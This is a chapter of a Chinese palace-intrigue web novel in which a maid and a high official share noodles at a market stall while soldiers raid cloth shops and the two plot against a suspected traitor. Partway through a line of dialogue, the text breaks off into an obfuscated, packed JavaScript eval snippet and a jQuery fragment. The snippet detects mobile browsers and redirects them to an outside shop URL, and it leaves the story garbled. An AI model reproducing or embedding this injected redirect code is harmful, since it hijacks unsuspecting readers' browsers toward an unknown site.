61.第61章
    青鸾从吴叟小院出来,瞧见东市街角的面摊下坐着一个神色鬼祟的人,那人虽身着常服,但一看身量便是个习武的。

    此人自她出宫开始,就跟了一路,这会儿在此,想必还是为了盯她。

    青鸾走到那面摊前,热腾腾的香气迎面而来,她对正往锅里下面的老叟指了指那人的位置,“老丈,来一碗面,算那桌的帐上。”

    说完,没等那人低头要走,青鸾便在他对面坐了下来。

    “从宫里出来跟了半日也该饿了,吃完再走也来得及。”她顺手拿过一双木箸。

    那人没动,脑门上蹭蹭往下流汗。

    青鸾看了眼他面前的汤面,好奇道:“你们当差的花销,是自己出,还是你们大人给出?”

    那人脸色微微泛白,整个人局促地钉在凳子上,不敢抬头也不敢说话,只顾着淌汗。

    见他还是不语,青鸾自顾自解释道:“我今日出宫匆促,忘了带银钱,这面钱若是你自己出,待回宫后,我便拿了钱还你。”

    那人大脑一时顿住,木然抬头看她。

    若是他们大人出呢?

    这时面上来了,青鸾接过碗,向老叟道了声谢,而后回过头自然道:“你们家大人日前把我银簪磕钝了一角,他出这面钱就算扯平了。”

    清亮亮的面汤上腾起热气,翠绿的葱花漂在上面,让人看着很有食欲。

    青鸾刚要掀开幂篱,就见突然有成百的黑甲军乌泱泱冲进东市,百姓纷纷溃逃,面摊上有几桌人趁乱跑了,急得卖面老叟直跺脚,“别跑啊!面钱!面钱没给呢!”

    紧接着,伴随着骏马嘶鸣,数匹快马扬蹄停在了面摊前,卖面老叟见势不妙,当即躲进了灶台后面,哆嗦道:“不,不要了,面钱不要了!”

    宁晏礼皱眉看向鸦青。

    鸦青立即翻身下马,从怀中掏出一片金叶子,搁到灶台边上,“老丈别怕,我们是来吃面的。”

    卖面老叟从灶台下探出半个脑袋,一看是金子,差点晕厥过去,“大人,老,老叟这摊子,只卖面,卖不了别的……”

    青鸾听了不禁低下头,在幂篱下掩嘴一笑。

    再抬头时,那身熟悉的墨色云锦已出现在了面前。

    童让将坐在青鸾对面的士卒撵走,用袖子擦了擦凳子,宁晏礼撩摆坐了下来。

    鸦青过来把剩下半碗面拿走,用布把宁晏礼那半面桌子抹了一遍,然后道:“大人吃什么面?”

    宁晏礼看向青鸾面前的碗,用下巴一点,“和她一样。”

    “诺。”鸦青应后转身就朝灶台那边走了去。

    青鸾目瞪口呆地看着二人。

    他们还真是来吃面的!

    宁晏礼径自从袖中取出一张锦帕,开始擦拭木箸,“一看见我,就没有话说?”

    想着有幂篱隔着宁晏礼看不见自己表情,青鸾遂朝他龇了龇牙,暗啐了他一声,谁料力度没把握好,啐声还是溜出去一丝。

    宁晏礼动作一滞,掀起眼皮看她,“你方才是——”

    “大人今日怎么有此雅兴?”青鸾及时打断。

    宁晏礼继续擦拭木箸,“我既坐在了这,你还有必要绕弯子吗?”

    这一句噎得青鸾直想咬他,“大人派人跟踪奴婢,难道是为了坐在这吃面?”

    “知道有人跟踪,还故意留下线索,你倒很会用人。”宁晏礼擦完木箸,又开始擦桌子。

    “奴婢本没想劳累大人。”而且她没想到宁晏礼动作竟这样快。

    青鸾回头看向那三家布庄的方向,已被黑甲军里外三成围得严严实实。

    就在她回头时,宁晏礼将拍子一叠,用干净的一面自然擦过她面前的桌面。

    青鸾转回身,配合地把面碗捧起来,“早知大人如此辛勤,奴婢也不必出宫折腾这一趟了。”

    宁晏礼扯了扯嘴角,冷道:“一个婢子,也学会使唤人了。”

    新煮好的面被端了上来,青鸾见宁晏礼望着热气迟迟没有动作,猜他平日在宫中珍馐佳肴见得多了,这市井摊子定吃不惯,而自己的面就要凉了,若再等他犹豫完,坨了就可惜了。

    于是她自顾自拿起了木箸。

    正待这时,宁晏礼突然伸出手,将她面前的碗端到自己面前,又把新上的面推到了她的面前。

    青鸾一怔。

    “那碗太热,我不喜欢。”宁晏礼一边往碗里加醋,一边面色如常道。

    看着逐渐被醋染深的面汤,青鸾半张着嘴,诧异道:“想不到大人这么爱吃醋。”

    宁晏礼手指一僵,抬头以一种莫名的神情看着她,然后缓缓撂下醋壶。

    青鸾自己说完,也觉着这话有什么不对,思来想去搞不明白,干脆埋头挑面。

    几口热汤面下肚,青鸾只觉胃里又暖又舒坦,只是热气顶得她发汗,没一会儿鬓边已有些湿了。

    面摊有黑甲军围着,她索性摘下幂篱搁到一旁。

    宁晏礼瞥她一眼,见她热得两颊绯红,黑眼仁里也湿漉漉的,旋即将视线收回,专注在碗里。

    青鸾用手扇着风,一双眼无处安放,只能看向坐在对面的宁晏礼。

    除了异常能吃醋这一点,宁晏礼吃相极其端庄,面是一口一口吃进去的,安静得不发出一点声音。

    她知道在宫里一举一动都有尺量着,但还是惊讶于他这比教礼仪的女史还规矩的吃相。

    想他平日坐立行走,举止端正似刻在骨子里一般,李昭自幼在宫里长大,也就不过如此。

    “怎么了?”宁晏礼似乎察觉到她的视线,撂下木箸问道。

    三家布庄的人不断被黑甲军押出,不知带往何处,青鸾看了一眼,道:“谢氏与淮南王府的关系,大人怎么看?”

    “谢司徒为官三十余年不曾参与党争,如今到了这个年纪,还何必搅这淌浑水。”宁晏礼道。

    “奴婢听闻,如今在谢氏当家的,是尚书仆射谢阮。”青鸾道:“这谢仆射虽然表面放浪形骸,风流不羁,但内里却极富才学,是个有能力的。”

    “你在东宫,倒是耳聪目明。”宁晏礼抱着手臂,冷冷道。

    青鸾装作没听出他话里的揶揄,问道:“大人对这谢仆射怎么看?”

    “不熟。”宁晏礼冷冰冰吐出二字。

    “……”青鸾此时不想与他拌嘴,深吸了口气,又道:“据奴婢所知,淮南王府的势力除了表面这些,暗中还有人在与士族和朝臣联络,谢阮即是世家之人,又是朝臣,大人对他就没有一点怀疑?”

    宁晏礼望向她,顿了半晌才道:“你知道淮南王府暗线的事?”

    青鸾一哽。

    这厮又在试探……

    “不知。”她不动声色地回望过去,对上宁晏礼的视线,“奴婢虽然身在后宫,但也在尽力追查与淮南王府相关的事,只是觉得谢阮这身份若是淮南王府的人,会很棘手。”

    宁晏礼没有否认,不过要查谢氏的生意容易,但要揪着谢阮本人不放,即便是他,也很难办。

    对陆谢这样的士族下手太重,各大世家必定唇亡齿寒,若因此使他们团结凝聚,他必遭反噬。

    青鸾如何不懂这道理,“大人,要想查出此人底细或许不难。”

    宁晏礼眼底生出一丝狐疑。

    “长公主和亲的使臣队伍里,可还有位置?”青鸾道。

    “你想让他去?”宁晏礼道。

    青鸾颔首,“若桓尚书身体抱恙,由尚书仆射代为前往,也并无不可。”

    宁晏礼眼中疑色更重,“他便是去了,又能如何?”

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13360989|131294||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大人若肯相信奴婢一次。”青鸾目光灼灼地看着他,“此人是黑是白,此行便见分晓。”

    “你要如何分辨?”宁晏礼愈发看不懂她。

    青鸾神秘地笑了笑,“大人忘了?奴婢精通占卜之术。”

    宁晏礼一听此言,不禁又蹙起眉。

    他不是忘了,是根本就没怎么信。

    青鸾知他不解,但她的谋划干系重大,眼下还不能言明,遂道:“大人只需在途中安排人手,他若是白的,便让他好去好还;倘若他是黑的——”

    “就让他有去无回。”

    宁晏礼半眯起眸子。

    和亲使团前往北魏,山高路远,其间发生些意外确不可避免,确是个毁尸灭迹的好机会,虽不知她会用什么方法试出谢阮的底细,但这杀人灭口的时机选得倒很适宜。

    他沉默思忖半晌,却见青鸾突然拿起身旁的幂篱,一副要走的架势。

    “距离宫门落锁还有的是时间,吃完再走也来得及。”他看她碗里还剩了不少面。

    青鸾愣了愣,“奴婢以为大人已经吃完了。”

    她见他半天没动木箸,便一直也没好意思再吃。

    “方才太热,我吃不下。”宁晏礼重新拿起木箸,从已经成坨的面里费力挑出几根。

    青鸾看向他碗中冷凝的面汤,不禁哑然。

    见她没动,宁晏礼抬头看了过来,“吃饱了?”

    青鸾连忙敛回视线,低声说了句“没有”,便放下幂篱,拿起木箸。

    眼下这时辰回宫吃不着热乎的,就只能用糕点填填肚子,哪有这热汤面来得舒服?

    几口下去,胃里的充盈让心情顿时明朗。

    方才说了会儿话,她碗里的面刚好不冷不烫,正适入口。

    “长公主仪仗在此!尔等还不速速避让!”身后忽然传来内侍尖细的喊声,而后便是一阵混乱嘈杂。

    听闻“长公主”三个字,青鸾骤然一凛,迅速戴好幂篱准备离开。

    宁晏礼却一把将她拽住。

    青鸾下意识抽手。宁晏礼却发力把她拉到自己身边,压着肩膀让她坐下,“现在急着出去,是想与他们打个照面吗?”

    青鸾攥起拳,“可是——”

    “没什么可是。”宁晏礼把原本在对面的碗挪到她面前,“且在此安心吃你的。”

    说完,他回头向鸦青使了个眼色。

    青鸾不知他打的是什么算盘,只见公主仪仗越来越近,不禁有些急了,“大人!长公主偏在搜布庄时出现,绝非偶然,奴婢在这实在过于明显!”

    二人并肩坐在一起,宁晏礼像是没听到她的话,自顾自展开她的手,把木箸塞了进去。

    “再不吃面就凉了。”他眼中露出少见的平和。

    青鸾拗不过他,食不知味地在碗里挑着,心思却全在鸦青与那内侍的寒暄声上。

    宁晏礼单手撑着下颌,饶有兴致地侧着头看她。

    他猜测此刻幂篱下的她的神情,定是满脸焦急。

    黑甲军外,鸦青与那内侍的声音越来越近。

    “长史何故横栏竖挡?老奴在此遇上侍中大人,若不前去拜见,岂不失礼?”

    那晚在漪澜殿,青鸾记得真切,这是长公主宫里掌事魏公公的声音。

    她登时有些坐不住了。

    若在今日被长公主认出,定会坏了她谋划的大事!

    “大人——”

    青鸾不禁再度开口,然而话却被腰间突然攀附上来的手堵在嘴里。

    宁晏礼感受到她后腰的紧绷,勾了勾唇角,“他不过是来行个礼数,你何以紧张至此?”

    “奴婢不想在此时节外生枝。”青鸾回手想挥开揽在腰间的手臂。

    “别动。”宁晏礼却道:“他来了。”